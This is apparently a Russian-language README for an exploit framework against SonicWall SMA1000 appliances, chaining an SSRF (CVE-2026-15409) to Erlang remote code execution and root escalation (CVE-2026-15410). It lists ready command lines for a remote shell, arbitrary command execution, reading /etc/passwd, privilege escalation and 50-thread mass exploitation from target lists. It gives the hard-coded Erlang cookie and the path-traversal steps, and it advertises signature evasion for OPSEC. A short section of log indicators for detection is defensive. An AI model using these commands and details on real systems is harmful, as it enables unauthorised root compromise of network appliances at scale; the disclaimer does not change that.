
Многоэксплойтный фреймворк для цепочки уязвимостей SonicWall SMA1000: SSRF (CVE-2026-15409) → Erlang RCE и эскалация привилегий до root (CVE-2026-15410). Включает интерактивную оболочку, пакетное сканирование, операции с файлами и безопасный режим обнаружения для авторизованного тестирования на проникновение.

Фреймворк для эксплуатации и инструмент безопасного обнаружения
Только для авторизованного тестирования безопасности.
Этот инструмент предоставляется исключительно в образовательных целях и для авторизованного тестирования на проникновение.
Авторы и соавторы не несут ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением. Пользователи несут полную ответственность за получение явного письменного разрешения от владельца цели перед тестированием. Несанкционированный доступ к компьютерным системам является незаконным в соответствии с Законом о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичными законами по всему миру.
Используя данное программное обеспечение, вы соглашаетесь:
⚠️ ПРЕДУПРЕЖДЕНИЕ: Эта уязвимость активно эксплуатируется в реальных атаках. Несанкционированное использование может привести к серьёзным юридическим последствиям.
CVE-2026-15409 — это критическая неаутентифицированная подделка серверных запросов (SSRF) в интерфейсе Work Place устройства SonicWall SMA1000.
Как это работает:
wsproxy.os:cmd/1.Ключевые факты:
exploit.py)Полноценный эксплойт связывает CVE-2026-15409 и CVE-2026-15410 для достижения компрометации на уровне root.
pip (для библиотеки requests)pip install -r requirements.txt
# Интерактивная оболочка на цели
python exploit.py -u 192.168.1.100
# Выполнение одной команды
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# Чтение файла
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# Включение обнаружения SSRF перед эксплуатацией
python exploit.py -u 192.168.1.100 --detect
# Попытка повышения до root
python exploit.py -u 192.168.1.100 --privesc
# Массовая эксплуатация из файла (50 потоков)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# Пользовательский порт и путь
python exploit.py -u 10.0.0.5 -p 8443 --path /workplace
# Режим канала (чтение команды из stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
# Сканирование одной цели
python checker.py https://192.168.1.100
# Пользовательский порт и путь
python checker.py 192.168.1.100 --port 8443 --path /workplace
# Массовое сканирование из файла
python checker.py --list targets.txt
⚠️ Важно: Эти уязвимости не затрагивают межсетевые экраны SonicWall (SSL-VPN) и серию SMA 100.
Конечная точка wsproxy на порту 443 принимает параметр bmID, начинающийся с -3389, и спецификацию host:port. Указывая host=127.0.0.1 и port=1050, атакующие могут туннелироваться к внутренней службе распределения Erlang.
Узел Erlang использует жёстко заданную cookie по умолчанию: 10ecad5b446e86864832904cd439b6b70262. Это позволяет удалённо аутентифицироваться и выполнять любые вызовы os:cmd/1.
После аутентификации эксплойт записывает shell-скрипт в /var/tmp/ и инициирует конечную точку XML-RPC remove_hotfix AMC с обходом пути (../../../../var/tmp/script.sh), выполняя скрипт от имени root.
SonicWall рекомендует проверять:
extraweb_access.log на наличие /__api__/login или /__api__/logout (статус 200)extraweb_access.log на наличие /wsproxy с подозрительными параметрами host (статус 101)ctrl-service.log на наличие откатов исправлений с обходом пути/var/lib/unit/conf.json, содержащий маршруты для /__api__/login или /__api__/logout| Возможность | Описание |
|---|
| 🚀 SSRF → Erlang RPC | Автоматическое туннелирование через wsproxy для доступа к внутренним узлам Erlang. |
| 💻 Удалённое выполнение команд | Выполнение произвольных команд ОС через os:cmd/1. |
| 🔐 Интерактивная оболочка | Запуск живой оболочки с поддержкой команд privesc и download. |
| 👑 Повышение до root | Использование CVE-2026-15410 для повышения до root через обход пути AMC. |
| 📁 Операции с файлами | Чтение и запись файлов на целевой системе. |
| 🌐 Пакетное сканирование | Массовая эксплуатация нескольких целей с многопоточностью (флаг -l). |
| 🎯 Обнаружение SSRF | Опциональный флаг --detect для безопасной проверки уязвимости. |
| ⚙️ Настраиваемость | Переопределение URL WebSocket, Origin, User-Agent, Cookie и других параметров. |
| 🧩 Без лишних зависимостей | Использует только стандартную библиотеку Python (кроме опционального requests для обнаружения). |
| 🔌 Собственная реализация WebSocket | Никаких внешних библиотек WebSocket — собственное рукопожатие на уровне сокетов позволяет избежать характерных сигнатур для лучшей OPSEC. |
| Продукт | Уязвимые версии | Исправленные версии |
|---|
| SMA 6210 | 12.4.3-03245, 12.4.3-03387, 12.4.3-03434 12.5.0-02283, 12.5.0-02624, 12.5.0-02800 | 12.4.3-03453+ 12.5.0-02835+ |
| SMA 7210 | То же, что выше | То же, что выше |
| SMA 8200v | То же, что выше | То же, что выше |